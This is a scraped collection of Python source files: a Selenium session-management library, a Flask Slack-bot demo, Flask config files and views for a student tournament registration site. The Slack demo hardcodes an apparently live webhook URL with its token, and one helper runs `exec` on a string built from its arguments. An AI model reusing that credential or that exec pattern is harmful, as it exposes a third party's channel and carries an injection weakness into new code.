'\\']/option')\n for item in items:\n lst.append(item.get_attribute('text'))\n return lst\n\n def wait_until(self, timeout, str_condition):\n ln = 'WebDriverWait(self, ' + str(timeout) + ').until(EC.' + str_condition + ')'\n logger.debug(ln)\n return exec(ln)\n", "id": "5537222", "language": "Python", "matching_score": 3.804016351699829, "max_stars_count": 0, "path": "viperdriver/src/core.py" }, { "content": "\"\"\"\nDemonstrates how to use viperdriver to both create a new browser session and connect to an orphan one.\nThe example should be run twice.\nThe first execution will create a brand new browser session.\nAs the result, the session info will be saved in a file.\nDuring the second execution, the script will discover the file and will pass the session info from it to the viperdriver instance.\nThen the viperdriver instance will connect to the existing session and will be able to take command of it (in this case hitting a URL and then closing it).\nTo execute the script: 'python -m viperdriver.examples.conntosession'\n\"\"\"\nfrom time import sleep\nfrom viperdriver import SessionDriver\n\ndef main():\n drv = SessionDriver()\n drv.options.headless = False # start viperdriver in visible mode\n\n if drv.session.file_exists(): # if previous session exists, connect to it\n print('Session file found: ' + drv.session.full_path())\n drv.launch(new_session=False)\n print('Will now navigate to Google in:')\n x = range(5)\n for i in x:\n print('\\b', x[-1-i], sep='', end='', flush=True)\n sleep(1)\n print('\\n')\n drv.get('http://google.com')\n print('Will now close the browser.')\n for i in range(10):\n print('.', sep='', end='', flush=True)\n sleep(0.5)\n print('\\n')\n drv.quit()\n else: # if session does not exist, create new one and save to file\n drv.launch(new_session=True)\n drv.set_window_size(600, 300)\n drv.session.save_to_file()\n print('Exiting. Please start again.')\n\nif __name__ == '__main__':\n main()\n", "id": "1863238", "language": "Python", "matching_score": 2.127394676208496, "max_stars_count": 0, "path": "viperdriver/examples/conntosession.py" }, { "content": "\"\"\"\nCreates new Selenium-controlled browser session.\n\nUsage:\n-l <path> - session file location (set to default if omitted)\n-a - run in visible mode (non-headless)\n-v - verbose\n-h - help (print this )\n\nNote: if session file path is omitted, session file is created under package's root (see PATH_TMP in <root>/__init__.py).\n\"\"\"\nimport sys\nimport os\nimport getopt\nimport logging\n\nfrom viperdriver import SessionDriver, dir_session_default, logger, loggers_set\n\nlogger = logging.getLogger(__name__)\n\ndef make_session(location=dir_session_default, headless=True):\n drv = SessionDriver()\n drv.options.headless = headless\n drv.session.location = location\n if not drv.session.file_exists():\n drv.launch()\n logger.debug(drv.session.full_path())\n else:\n logger.critical('Existing session found. Exiting.')\n\ndef main():\n\n # Do not remove. This assignments needed if launched as a script while efault arguments of make_session() needed if run from shell.\n fpath = dir_session_default\n headless = True\n\n try:\n opts, args = getopt.getopt(sys.argv[1:], 'avhl:', [])\n except getopt.GetoptError as err:\n logger.error(err)\n logger.info(__doc__)\n sys.exit(2)\n for opt, args in opts:\n if opt == '-h':\n logger.critical(__doc__)\n sys.exit()\n if opt == '-a':\n headless = False\n if opt == '-l':\n fpath = args\n if opt == '-v':\n loggers_set(logging.DEBUG)\n\n make_session(fpath, headless)\n\nif __name__ == \"__main__\":\n main()\n", "id": "12721670", "language": "Python", "matching_score": 4.736069202423096, "max_stars_count": 0, "path": "viperdriver/scripts/newsession.py" }, { "content": "\"\"\"\nCloses 'saved' Selenium-controlled browser session.'Saved' means the session is up and running and its session info is saved in a file.\n\nUsage:\n-l <path> - session file location (set to default if omitted)\n-v - verbose\n-h - help (print this )\n\"\"\"\nimport sys\nimport getopt\nimport logging\n\nfrom viperdriver import SessionDriver, dir_session_default, logger, loggers_set\n\ndef main():\n fpath = dir_session_default\n try:\n opts, args = getopt.getopt(sys.argv[1:], 'l:dhv', [])\n except getopt.GetoptError as err:\n logger.error(err)\n logger.info(__doc__)\n sys.exit(2)\n for opt, args in opts:\n if opt == '-h':\n logger.critical(__doc__)\n sys.exit()\n if opt == '-l':\n fpath = args\n if opt == '-v':\n loggers_set(logging.DEBUG)\n drv = SessionDriver()\n drv.session.location = fpath\n if drv.session.file_exists():\n drv.launch(new_session=False)\n drv.quit()\n else:\n logger.critical('No saved session found.')\n\nif __name__ == '__main__':\n main()\n", "id": "11541462", "language": "Python", "matching_score": 3.815051555633545, "max_stars_count": 0, "path": "viperdriver/scripts/closesaved.py" }, { "content": "import sys\nimport os\nimport getopt\nimport logging\n\nfrom viperdriver import SessionDriver, dir_session_default\n\nlogger = logging.getLogger(__name__) # do not need root logger\n\ndef main():\n\n headless = True\n fpath = dir_session_default\n savetofile = True\n\n try:\n opts, args = getopt.getopt(sys.argv[1:], 'l:', [])\n except getopt.GetoptError as err:\n logger.error(err)\n logger.info(__doc__)\n sys.exit(2)\n for opt, args in opts:\n if opt == '-l':\n fpath = args\n\n drv = SessionDriver()\n drv.options.headless = headless\n if fpath != dir_session_default:\n drv.session.location = fpath\n if not drv.session.file_exists():\n logger.critical('No session found.')\n else:\n drv.session.get_from_file()\n logger.critical(drv.session.id)\n\nif __name__ == \"__main__\":\n main()\n", "id": "6655179", "language": "Python", "matching_score": 0.5291469097137451, "max_stars_count": 0, "path": "viperdriver/scripts/getsaved.py" }, { "content": "import logging\nimport os\n\nfrom viperlib import logger as logger_viperlib\n\ndir_session_default = __path__[0] + os.sep + 'tmp' # default location of the session file\nkwd_listener = 'listener'\nkwd_sessionid = 'sessionid'\ndefault_listener = 'http://127.0.0.1:9515'\nf_session = 'last_session.json'\n\nfrom viperdriver.src.core import SessionDriver\nfrom viperdriver.src.website import Websession\n\nlogger = logging.getLogger(__name__)\n\nconsole = logging.StreamHandler()\nlogger.addHandler(console)\nlogger_viperlib.addHandler(logger)\n\ndef loggers_set(level):\n logger.setLevel(level)\n logger_viperlib.setLevel(level)\n", "id": "1146858", "language": "Python", "matching_score": 2.2136857509613037, "max_stars_count": 0, "path": "viperdriver/__init__.py" }, { "content": "import logging\n\n# logger = logging.getLogger(__name__).addHandler(logging.NullHandler()) - remove upon testing\nlogger = logging.getLogger(__name__)\n", "id": "1402227", "language": "Python", "matching_score": 1.0007503032684326, "max_stars_count": 0, "path": "viperdriver/src/__init__.py" } ]
2.17054
styopdev
[ { "content": "{\n \"targets\": [\n {\n \"target_name\": \"prime-average\",\n \"sources\": [ \"prime-average.cc\" ]\n }\n ]\n}\n", "id": "2948984", "language": "Python", "matching_score": 0, "max_stars_count": 0, "path": "binding.gyp" } ]
0
danieldn
[ { "content": "import os\n# import json\nimport requests\nimport time\nfrom datetime import datetime\nfrom flask import Flask, request, Response, json\nfrom flask import render_template\napp = Flask(__name__)\n\n\n@app.route(\"/\")\ndef index():\n return render_template('index.html')\n\n@app.route('/slack', methods=['GET','POST'])\ndef slack_help():\n if request.method == 'POST':\n # content = request.get_json()\n # return \"POST content:\" + json.dumps(request.json)\n # js = json.dumps(request.json)\n with open('slack/help.json') as json_data:\n js = json.load(json_data)\n print(js)\n # resp = Response(js, status=200, mimetype='application/json')\n resp = json.jsonify(js)\n # return resp\n return resp\n\n return \"slack help endpoint\"\n\n@app.route('/slack/report', methods=['GET','POST'])\ndef slack_report():\n if request.method == 'POST':\n with open('slack/report.json') as json_data:\n js = json.load(json_data)\n resp = json.jsonify(js)\n return resp\n \n return \"slack report endpoint\"\n\n@app.route('/report', methods=['GET'])\ndef report():\n with open('data/traffic.json') as json_data:\n js = json.load(json_data)\n return json.dumps(js)\n\n\n@app.route('/real-time-report')\ndef real_time_report():\n # with open('slack/real-time-report.json') as json_data:\n # js = json.load(json_data)\n # requests.post('https://hooks.slack.com/services/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', json=js)\n return render_template('slack.html')\n\n@app.route('/real-time-report2')\ndef real_time_report2():\n\n with open('slack/real-time-report.json') as json_data:\n js = json.load(json_data)\n count = 0\n\n while count < 3:\n requests.post('https://hooks.slack.com/services/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', json=js)\n time.sleep(10)\n count += 1\n\n return render_template('slack.html')\n\n\nif __name__ == '__main__':\n port = int(os.environ.get(\"PORT\", 5000))\n app.run(host='0.0.0.0', port=port, debug=True)\n", "id": "2904735", "language": "Python", "matching_score": 0, "max_stars_count": 2, "path": "webapp/app.py" } ]
0
am1234567891
[ { "content": "# This file is used for hosting at PythonAnywhere.com\n# 'app' must point to a Flask Application object.\n\nfrom app import create_app\n\napp=create_app()\n\nfrom flask_session import Session\nfrom datetime import timedelta\n\napp.config['SESSION_PERMANENT'] = True\napp.config['SESSION_TYPE'] = 'filesystem'\napp.config['PERMANENT_SESSION_LIFETIME'] = timedelta(hours=10)\n\n# The maximum number of items the session stores\n# before it starts deleting some, default 500\napp.config['SESSION_FILE_THRESHOLD'] = 500\nsess = Session()\nsess.init_app(app)\n", "id": "5399456", "language": "Python", "matching_score": 3.260148048400879, "max_stars_count": 0, "path": "flask_app.py" }, { "content": "# This file is used for hosting at PythonAnywhere.com\n# 'app' must point to a Flask Application object.\n\nfrom app import create_app\n\napp=create_app()\napp.run(debug=True, host=\"127.0.0.1\") # run the Flask web application\n\n", "id": "4912200", "language": "Python", "matching_score": 0.07123509049415588, "max_stars_count": 0, "path": "flask_app_local.py" }, { "content": "import os\n\n# *****************************\n# Environment specific settings\n# *****************************\n\n# DO NOT use \"DEBUG = True\" in production environments\nDEBUG = True\n\n# DO NOT use Unsecure Secrets in production environments\n# Generate a safe one with:\n# python -c \"import os; print repr(os.urandom(24));\"\n\n#'This is an UNSECURE Secret. CHANGE THIS for production environments.'\nSECRET_KEY = <KEY>\"\n\n# SQLAlchemy settings\n#TODO\nSQLALCHEMY_DATABASE_URI = '/Users/am/caypt_dev_v3/app.sqlite'\n#TODO\nSQLALCHEMY_DATABASE_URI_LOCAL = '/Users/am/caypt_dev_v3/app.sqlite'\nSQLALCHEMY_TRACK_MODIFICATIONS = False # Avoids a SQLAlchemy Warning\nCURRENT_EVENT = 2\n\n# Flask-Mail settings\n# For smtp.gmail.com to work, you MUST set \"Allow less secure apps\" to ON in Google Accounts.\n# Change it in https://myaccount.google.com/security#connectedapps (near the bottom).\nMAIL_SERVER = 'smtp.gmail.com'\nMAIL_PORT = 465\nMAIL_USE_SSL = True\nMAIL_USE_TLS = False\nMAIL_USERNAME = '<EMAIL>'\nMAIL_PASSWORD = '<PASSWORD>'\nMAIL_DEFAULT_SENDER = '<EMAIL>'\n\n# Sendgrid settings\nSENDGRID_API_KEY='place-your-sendgrid-api-key-here'\n\nWKHTMLTOPDF_BIN_PATH = r'C:\\Program Files\\wkhtmltopdf\\bin' #path to your wkhtmltopdf installation.\n# PDF_DIR_PATH = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'static', 'pdf')\nPDF_DIR_PATH = os.path.join(os.path.dirname(os.path.abspath(__name__)), 'app', 'static', 'pdfs')\n\n# Flask-User settings\nUSER_APP_NAME = \"CaYPT - DEV\" # Shown in and email templates and page footers\nUSER_ENABLE_EMAIL = True # Enable email authentication\nUSER_ENABLE_USERNAME = False # Disable username authentication\nUSER_EMAIL_SENDER_NAME = USER_APP_NAME\nUSER_EMAIL_SENDER_EMAIL = \"<EMAIL>\"\nUSER_REQUIRE_RETYPE_PASSWORD = True # Enable retype password\n\nADMINS = [\n '\"Admin One\" <<EMAIL>>',\n ]\n", "id": "10061879", "language": "Python", "matching_score": 9.511221885681152, "max_stars_count": 0, "path": "app/local_settings.py" }, { "content": "import os\n\n# *****************************\n# Environment specific settings\n# *****************************\n\n# DO NOT use \"DEBUG = True\" in production environments\nDEBUG = True\n\n# DO NOT use Unsecure Secrets in production environments\n# Generate a safe one with:\n# python -c \"import os; print repr(os.urandom(24));\"\nSECRET_KEY = 'This is an UNSECURE Secret. CHANGE THIS for production environments.'\n\n# SQLAlchemy settings\nSQLALCHEMY_DATABASE_URI = 'sqlite:///../app.sqlite'\nSQLALCHEMY_TRACK_MODIFICATIONS = False # Avoids a SQLAlchemy Warning\n\n# Flask-Mail settings\n# For smtp.gmail.com to work, you MUST set \"Allow less secure apps\" to ON in Google Accounts.\n# Change it in https://myaccount.google.com/security#connectedapps (near the bottom).\nMAIL_SERVER = 'smtp.gmail.com'\nMAIL_PORT = 465\nMAIL_USE_SSL = True\nMAIL_USE_TLS = False\nMAIL_USERNAME = 'your email address'\nMAIL_PASSWORD = '<PASSWORD>'\nMAIL_DEFAULT_SENDER = 'your email address'\n\n# Sendgrid settings\nSENDGRID_API_KEY='place-your-sendgrid-api-key-here'\n\n# Flask-User settings\nUSER_APP_NAME = \"Web GUI Design\" # Shown in and email templates and page footers\nUSER_ENABLE_EMAIL = True # Enable email authentication\nUSER_ENABLE_USERNAME = False # Disable username authentication\nUSER_EMAIL_SENDER_NAME = USER_APP_NAME\nUSER_EMAIL_SENDER_EMAIL = \"<EMAIL>\"\nUSER_REQUIRE_RETYPE_PASSWORD = True # Enable retype password\n\nADMINS = [\n '\"Admin One\" <<EMAIL>>',\n ]\n", "id": "3064165", "language": "Python", "matching_score": 0.9191613793373108, "max_stars_count": 0, "path": "app/local_settings.py" }, { "content": "from flask import Blueprint, redirect, render_template\nfrom flask import request, url_for, current_app\nfrom flask_user import current_user, login_required, roles_required\nfrom app import db\nfrom app.models.user_models import UserProfileForm\nfrom app.models import db_functions\nfrom app.forms import app_forms\n\nmain_blueprint = Blueprint('main', __name__, template_folder='templates')\n\n\n@main_blueprint.app_errorhandler(401)\ndef FUN_401(error):\n return render_template(\"main/page_401.html\"), 401\n\n\n@main_blueprint.app_errorhandler(403)\ndef FUN_403(error):\n return render_template(\"main/page_403.html\"), 403\n\n\n@main_blueprint.app_errorhandler(404)\ndef FUN_404(error):\n print(\"****404 error\")\n return render_template(\"main/page_404.html\"), 404\n\n\n@main_blueprint.app_errorhandler(405)\ndef FUN_405(error):\n return render_template(\"main/page_405.html\"), 405\n\n\n@main_blueprint.app_errorhandler(413)\ndef FUN_413(error):\n return render_template(\"main/page_413.html\"), 413\n\n\n# The Home page is accessible to anyone\n@main_blueprint.route('/')\ndef home_page():\n return render_template('main/home_page.html')\n\n\n# The User page is accessible to authenticated users (users that have logged in)\n@main_blueprint.route('/public')\ndef pubic_page():\n data = { 10: 30, 20: 40, 30: 50, 40:70, 50: 80 }\n return render_template('main/test1.html',data=data)\n\n\n# ---------------------------------------------------------------------\n# Create the necessary controller(s) for your assignment\n# Create Book - For Your Reference\n@main_blueprint.route('/assignmentexample', methods=['GET', 'POST'])\ndef assignment():\n # Inititalize form\n form = app_forms.bookForm(request.form)\n # Get db location\n app_db_web_location = current_app.config['SQLALCHEMY_DATABASE_URI']\n print(1)\n if request.method == 'POST':\n print(2)\n title = request.form.get('title')\n price = request.form.get('price')\n author_fname = request.form.get('author_fname')\n author_lname = request.form.get('author_lname')\n db_functions.add_book(title, price, author_fname, author_lname, app_db_web_location)\n print(3)\n booklist = db_functions.show_all(app_db_web_location)\n return render_template('main/myhtml2.html', booklist=booklist)\n else:\n return render_template('main/myhtml.html', form=form)\n\n\n@main_blueprint.route('/test1', methods=['GET', 'POST'])\ndef test1():\n app_db_web_location = current_app.config['SQLALCHEMY_DATABASE_URI']\n booklist = db_functions.show_all(app_db_web_location)\n return render_template('main/myhtml2.html', booklist=booklist)\n# -------------------------------------------------------------------------------------------------------------------\n\n\n# The User page is accessible to authenticated users (users that have logged in)\n@main_blueprint.route('/member')\n@login_required # Limits access to authenticated users\ndef member_page():\n data = { 10: 30, 20: 40, 30: 50, 40:70, 50: 80 }\n return render_template('main/member_page.html',data=data)\n\n\n# The Admin page is accessible to users with the 'admin' role\n@main_blueprint.route('/admin')\n@roles_required('admin') # Limits access to users with the 'admin' role\ndef admin_page():\n return render_template('main/admin_page.html')\n\n\n@main_blueprint.route('/main/profile', methods=['GET', 'POST'])\n@login_required\ndef user_profile_page():\n # Initialize form\n form = UserProfileForm(request.form, obj=current_user)\n\n # Process valid POST\n if request.method == 'POST' and form.validate():\n # Copy form fields to user_profile fields\n form.populate_obj(current_user)\n\n # Save user_profile\n db.session.commit()\n\n # Redirect to home page\n return redirect(url_for('main.home_page'))\n\n # Process GET or invalid POST\n return render_template('main/user_profile_page.html',\n form=form)\n\n\n", "id": "5453297", "language": "Python", "matching_score": 4.494293212890625, "max_stars_count": 0, "path": "app/views/main_views.py" }, { "content": "from flask import Blueprint, redirect, render_template\nfrom flask import request, url_for\nfrom flask_user import current_user, login_required, roles_required\nfrom app import db\nfrom app.models.user_models import UserProfileForm\n\nmain_blueprint = Blueprint('main', __name__, template_folder='templates')\n\n\n@main_blueprint.app_errorhandler(401)\ndef FUN_401(error):\n return render_template(\"main/page_401.html\"), 401\n\n\n@main_blueprint.app_errorhandler(403)\ndef FUN_403(error):\n return render_template(\"main/page_403.html\"), 403\n\n\n@main_blueprint.app_errorhandler(404)\ndef FUN_404(error):\n print(\"****404 error\")\n return render_template(\"main/page_404.html\"), 404\n\n\n@main_blueprint.app_errorhandler(405)\ndef FUN_405(error):\n return render_template(\"main/page_405.html\"), 405\n\n\n@main_blueprint.app_errorhandler(413)\ndef FUN_413(error):\n return render_template(\"main/page_413.html\"), 413\n\n\n# The Home page is accessible to anyone\n@main_blueprint.route('/')\ndef home_page():\n return render_template('main/home_page.html')\n\n\n# The User page is accessible to authenticated users (users that have logged in)\n@main_blueprint.route('/public')\ndef pubic_page():\n data = { 10: 30, 20: 40, 30: 50, 40:70, 50: 80 }\n return render_template('main/public_page.html',data=data)\n\n\n# hello world\n@main_blueprint.route('/cifun')\ndef hello_world():\n return \"Hello, World!\"\n # return render_template('main/cifun.html')\n\n\n# The User page is accessible to authenticated users (users that have logged in)\n@main_blueprint.route('/member')\n@login_required # Limits access to authenticated users\ndef member_page():\n data = { 10: 30, 20: 40, 30: 50, 40:70, 50: 80 }\n return render_template('main/member_page.html',data=data)\n\n\n# The Admin page is accessible to users with the 'admin' role\n@main_blueprint.route('/admin')\n@roles_required('admin') # Limits access to users with the 'admin' role\ndef admin_page():\n return render_template('main/admin_page.html')\n\n\n@main_blueprint.route('/main/profile', methods=['GET', 'POST'])\n@login_required\ndef user_profile_page():\n # Initialize form\n form = UserProfileForm(request.form, obj=current_user)\n\n # Process valid POST\n if request.method == 'POST' and form.validate():\n # Copy form fields to user_profile fields\n form.populate_obj(current_user)\n\n # Save user_profile\n db.session.commit()\n\n # Redirect to home page\n return redirect(url_for('main.home_page'))\n\n # Process GET or invalid POST\n return render_template('main/user_profile_page.html',\n form=form)\n\n\n", "id": "5141020", "language": "Python", "matching_score": 1.6046490669250488, "max_stars_count": 0, "path": "app/views/main_views.py" }, { "content": "# Copyright StemFellowship\n#\n# Authors: <NAME>\n\n\nfrom flask import Blueprint, redirect, render_template, flash, session\nfrom flask import request, url_for\nfrom flask_user import current_user, login_required, roles_required\nfrom flask import current_app\nfrom app.models.app_db_handler import get_school_list, search_teams_ledbyme, add_team, add_school, add_team_member, \\\n get_current_teams_options, get_schools_has_event_team, search_teams_joinedbyme, get_school_teams_n_members, \\\n add_event_participant, add_event_participant_with_coi, get_event_ppant_n_mycois, search_event_teams, \\\n get_event_teams_n_members_ledbyme, count_team_group_by_status, count_team_member_group_by_status, \\\n count_juror_group_by_status, count_volunteer_group_by_status, get_event_teams_n_members_all, update_a_team_status, \\\n search_schools_by_id, update_a_school_by_id, get_event_ppant_n_cois_by_roletype, update_a_ppant_status, \\\n search_team_members_all, update_a_team_member_status, get_schools_for_ppant, update_event_participant, \\\n add_event_juror_as_tl, search_event_rooms, db_save_proposal, search_event_plan, get_mpair_by_round_room, \\\n search_mroom, get_mjuror_by_room, search_mteam_by_code, get_mpair_team_by_round_team, \\\n get_mpair_jurors_by_round_room, \\\n update_plan_status, admin_delete_plan, set_juror_chair, search_events_ppant_n_cois_for_data_entry, \\\n get_event_ppant_n_cois_for_volunteer, search_event_teams_inorder, get_mvolunteer_by_room, \\\n get_event_juror_n_cois_by_chair, release_sm_plan, get_mteams, get_mrooms, get_mjurors, get_mvolunteers, \\\n search_mroom_assigned_to_data_entry, get_mpairs_by_room_round, initialize_sm_stage_agenda, get_sm_stage_agenda, \\\n save_stage_members, get_event_group_problems, save_stage_problems, update_mpair_stage_status, \\\n get_stage_jurors, save_stage_scores, get_event_master_problems, get_team_member_roles, get_reporter_team_problems, \\\n get_schedue_by_round_room, get_mpair_scores_4validate, get_mpair_problems_simmple, update_dstage_score_by_id, \\\n validate_dstage_score, get_my_team_schedue, get_juror_schedue, get_volunteer_schedue, update_plan_sub_status_by_id, \\\n get_sm_team_rank, search_fm_round, db_save_fm_proposal, search_fm_plan, check_sm_status, get_reporter_problems, \\\n initialize_fm_stage_agenda, save_fm_stage_members, save_fm_stage_scores, get_all_reporter_problems, \\\n get_fm_mpair_scores_4validate, add_problem_guide, get_sm_team_rank_by_round, get_sm_member_rank_by_round, \\\n check_fm_status\nfrom app import db\nfrom app.utilities.app_utilities import calculate_age_from_datetime, count_by_status, convert_background_text, \\\n team_matching_2, assign_team_code_randomly, assign_room_juror_code_randomly, assign_room_to_team, \\\n tournament_plan_cleanup, get_sm_performance_order, assign_volunteer, assign_team_code_inorder, assign_chair_room, \\\n assign_room_to_team_wt_chair, assign_moved_jurors, assign_volunteers, get_fm_performance_order, check_ranking3, \\\n check_ranking2, get_2days_timeslots\nfrom app.models.user_models import UserProfileForm\nfrom app.forms.app_forms import CreateTeamForm, JoinTeamForm, ApproveRegistForm, SchoolForm, PpantForm, EventPlanForm, \\\n EventStageForm, EventFinalPlanForm\nimport secrets\n#from flask_weasyprint import render_pdf, HTML\n\n\nmain_blueprint = Blueprint('main', __name__, template_folder='templates')\n\n\n@main_blueprint.app_errorhandler(400)\ndef FUN_400(error):\n return render_template(\"main/page_400.html\"), 401\n\n\n@main_blueprint.app_errorhandler(401)\ndef FUN_401(error):\n return render_template(\"main/page_401.html\"), 401\n\n\n@main_blueprint.app_errorhandler(403)\ndef FUN_403(error):\n return render_template(\"main/page_403.html\"), 403\n\n\n@main_blueprint.app_errorhandler(404)\ndef FUN_404(error):\n return render_template(\"main/page_404.html\"), 404\n\n\n@main_blueprint.app_errorhandler(405)\ndef FUN_405(error):\n return render_template(\"main/page_405.html\"), 405\n\n\n@main_blueprint.app_errorhandler(413)\ndef FUN_413(error):\n return render_template(\"main/page_413.html\"), 413\n\n\n# The Public page is accessible to all\n@main_blueprint.route('/public', methods=['GET', 'POST'])\ndef public_page():\n return render_template('main/how_to_apply.html')\n\n\n# The Public page is accessible to all\n@main_blueprint.route('/training', methods=['GET', 'POST'])\ndef training():\n return render_template('main/training1.html')\n\n\n# The Home page is accessible to anyone\n@main_blueprint.route('/')\ndef home_page():\n # Retrieve database settings from app.config\n app_db_web_location = current_app.config['SQLALCHEMY_DATABASE_URI_LOCAL']\n\n # manual turn on/off the system, remember to update the member_page()\n #app_available = False # system is NOT avaiailable, it is under maintain\n app_available = True # system is available\n if app_available:\n active_pan_list = search_event_plan(1, \"Active\", 1, app_db_web_location)\n plan_sub_status = 0\n for plan in active_pan_list:\n #plan_id = plan[1]\n plan_sub_status = plan[4] # 1-released 2-published\n break\n return render_template('main/home_page.html', plan_sub_status=plan_sub_status)\n else:\n return render_template('main/system_not_available.html')\n\n\n# The Member page is accessible to authenticated users (users that have logged in)\n@main_blueprint.route('/member', methods=['GET', 'POST'])\n@login_required # Limits access to authenticated users\ndef member_page():\n # manual turn on/off the system, remember to update the home_page()\n #app_available = False # system is NOT avaiailable, it is under maintain\n app_available = True # system is available\n if not app_available:\n # reditect to logout\n flash_msg = \"System is under maintainance, please try again in two hours.\"\n flash(flash_msg, 'error')\n return redirect(url_for('user.logout'))\n\n # before starting the tournament plan, you should manually disable all the members to update his/her informaiton\n #member_editable = False # member is Not allowed to be updated from now on\n member_editable = True # member is ok to update his/her information\n\n # Retrieve database settings from app.config\n app_db_web_location = current_app.config['SQLALCHEMY_DATABASE_URI_LOCAL']\n event_id = current_app.config['CURRENT_EVENT']\n\n # check if current event plan has been activated\n plan_status = \"Inactive\" # plan is not ready\n active_pan_list = search_event_plan(event_id, \"Active\", 0, app_db_web_location)\n for plan in active_pan_list:\n plan_status = plan[2]\n break\n # Initialize form\n form = CreateTeamForm(request.form)\n\n # Process valid POST\n if request.method == 'POST':\n team_lead_id = current_user.id\n team_school_id = request.form['school_id']\n team_name = request.form['team_name']\n teleconferencing = request.form['teleconferencing']\n\n if int(team_school_id) > 0:\n add_team(event_id, team_lead_id, team_school_id, team_name, teleconferencing, app_db_web_location)\n else:\n print(\"*****--- no school id, something wrong\")\n\n # Redirect to member dashboard page\n return redirect(url_for('main.member_page'))\n else:\n # calculate current user's age\n age = round(calculate_age_from_datetime(current_user.dob), 1)\n\n my_background_text = None\n my_background = 0\n try:\n my_background = int(current_user.background)\n my_background_text = convert_background_text(current_user.background)\n except:\n pass\n\n # Retrieve database settings from app.config\n app_db_web_location = current_app.config['SQLALCHEMY_DATABASE_URI_LOCAL']\n\n myteams_list = get_event_teams_n_members_ledbyme(event_id, current_user.id, app_db_web_location)\n myteams_count_led = len(myteams_list)\n\n # initialize team school info\n if myteams_count_led > 0:\n for row in myteams_list:\n form.school_name.process_data(row[3])\n form.school_id.process_data(row[7])\n form.submit.label.text = \"Add one more team\"\n break\n\n myteams_table_led = zip([x[0] for x in myteams_list], \\\n [x[1] for x in myteams_list], \\\n [x[2] for x in myteams_list], \\\n [x[3] for x in myteams_list], \\\n [x[4] for x in myteams_list], \\\n [x[5] for x in myteams_list], \\\n [x[6] for x in myteams_list], \\\n [x[7] for x in myteams_list], \\\n [x[8] for x in myteams_list], \\\n [x[9] for x in myteams_list], \\\n [x[10] for x in myteams_list], \\\n [x[11] for x in myteams_list], \\\n [x[12] for x in myteams_list])\n\n results = search_teams_joinedbyme(event_id, current_user.id, app_db_web_location)\n myteams_table_joined = results[0]\n myteams_count_joined_approved = results[1]\n myteams_count_joined = len(myteams_table_joined)\n # get participant info\n myparticipation_list = get_event_ppant_n_mycois(event_id, current_user.id, 0, app_db_web_location)\n myparticipation_count = len(myparticipation_list)\n two_day_timeslots = get_2days_timeslots()\n if plan_status == \"Active\":\n return render_template('main/member_page_tournament.html', member_age=age, data_entry=1, two_day_timeslots=two_day_timeslots,\n myparticipation_list=myparticipation_list, myparticipation_count=myparticipation_count,\n led_teams_list=myteams_table_led, led_teams_count=myteams_count_led, plan_status=plan_status,\n joined_teams_list=myteams_table_joined, joined_teams_count=myteams_count_joined, form=form, my_background=my_background, my_background_text=my_background_text)\n else:\n return render_template('main/member_page.html', member_age=age, myteams_count_joined_approved=myteams_count_joined_approved,\n myparticipation_list=myparticipation_list, myparticipation_count=myparticipation_count,\n led_teams_list=myteams_table_led, led_teams_count=myteams_count_led, member_editable=member_editable,\n joined_teams_list=myteams_table_joined, joined_teams_count=myteams_count_joined, form=form,\n my_background=my_background, my_background_text=my_background_text, two_day_timeslots=two_day_timeslots)\n\n\n@main_blueprint.route('/register_team', methods=['GET', 'POST'])\n@login_required # Limits access to authenticated users\ndef register_team():\n #initialize form\n form = CreateTeamForm(request.form)\n db_created_by_id = current_user.id\n event_id = current_app.config['CURRENT_EVENT']\n app_db_web_location = current_app.config['SQLALCHEMY_DATABASE_URI_LOCAL']\n\n if request.method == 'POST' and form.validate():\n team_lead_id = current_user.id\n team_school_id = request.form['school_id']\n team_name = request.form['team_name']\n teleconferencing = request.form['teleconferencing']\n\n if int(team_school_id) > 0:\n add_team(event_id, team_lead_id, team_school_id, team_name, teleconferencing, app_db_web_location)\n else:\n # add a new school and then add a new team for the new school\n school_name = request.form['school_name']\n school_address = request.form['address']\n country = 'CA'\n province = request.form['province']\n city = request.form['city']\n postal_code = request.form['postal_code']\n team_lead_id = current_user.id\n\n try:\n new_school_id = add_school(school_name, school_address, city, province, country, postal_code,\n db_created_by_id, app_db_web_location)\n add_team(event_id, team_lead_id, new_school_id, team_name, teleconferencing, app_db_web_location)\n except:\n flash_msg = \"Duplicted school name or incorrect school info\"\n flash(flash_msg, 'error')\n return redirect(url_for('main.member_page'))\n\n # reditect to member dashboard\n flash_msg = \"Your request is approved.\"\n flash(flash_msg, 'success')\n return redirect(url_for('main.member_page'))\n else:\n # select SCHOOL_ID, SCHOOL_NAME, PROVINCE, CITY, SCHOOL_ADDRESS, ZIP_CODE from SCHOOL_DIRECTORY\n school_list = get_school_list(app_db_web_location)\n\n form.school_id.choices = school_list\n\n # Process GET or invalid POST\n return render_template('main/register_team.html', form=form)\n\n\n@main_blueprint.route('/be_juror', methods=['GET', 'POST'])\n@login_required # Limits access to authenticated users\ndef be_juror():\n # Retrieve database settings from app.config\n app_db_web_location = current_app.config['SQLALCHEMY_DATABASE_URI_LOCAL']\n\n db_created_by_id = current_user.id\n event_id = current_app.config['CURRENT_EVENT']\n\n # Initialize form\n form = JoinTeamForm(request.form) # change to BeJurorForm later\n\n # Process valid POST\n if request.method == 'POST':\n selected_schools = request.form.getlist(\"school\")\n teleconferencing = request.form.get(\"teleconferencing\")\n juror_experience = request.form.get(\"juror_experience\")\n selected_times = request.form.getlist(\"timeslot\")\n tslot1 = \"No\"\n tslot2 = \"No\"\n tslot3 = \"No\"\n tslot4 = \"No\"\n print(selected_times)\n for timeslot in selected_times:\n if timeslot == \"1\":\n tslot1 = \"Yes\"\n elif timeslot == \"2\":\n tslot2 = \"Yes\"\n elif timeslot == \"3\":\n tslot3 = \"Yes\"\n elif timeslot == \"4\":\n tslot4 = \"Yes\"\n if selected_schools is None or len(selected_schools) < 1:\n add_event_participant(event_id, current_user.id, db_created_by_id, \"Juror\", 0, teleconferencing, tslot1, tslot2, tslot3, tslot4, app_db_web_location, juror_experience)\n else:\n add_event_participant_with_coi(event_id, current_user.id, db_created_by_id, \"Juror\", 1, selected_schools, teleconferencing, tslot1, tslot2, tslot3, tslot4, app_db_web_location, juror_experience)\n\n # Redirect to home page\n flash_msg = \"Your request is under review, please sign to check after two days.\"\n flash(flash_msg, 'success')\n\n return redirect(url_for('main.member_page'))\n else:\n school_list = get_schools_for_ppant(event_id, app_db_web_location)\n\n # Process GET or invalid POST\n two_day_timeslots = get_2days_timeslots()\n return render_template('main/be_juror.html', form=form, current_school_list=school_list, 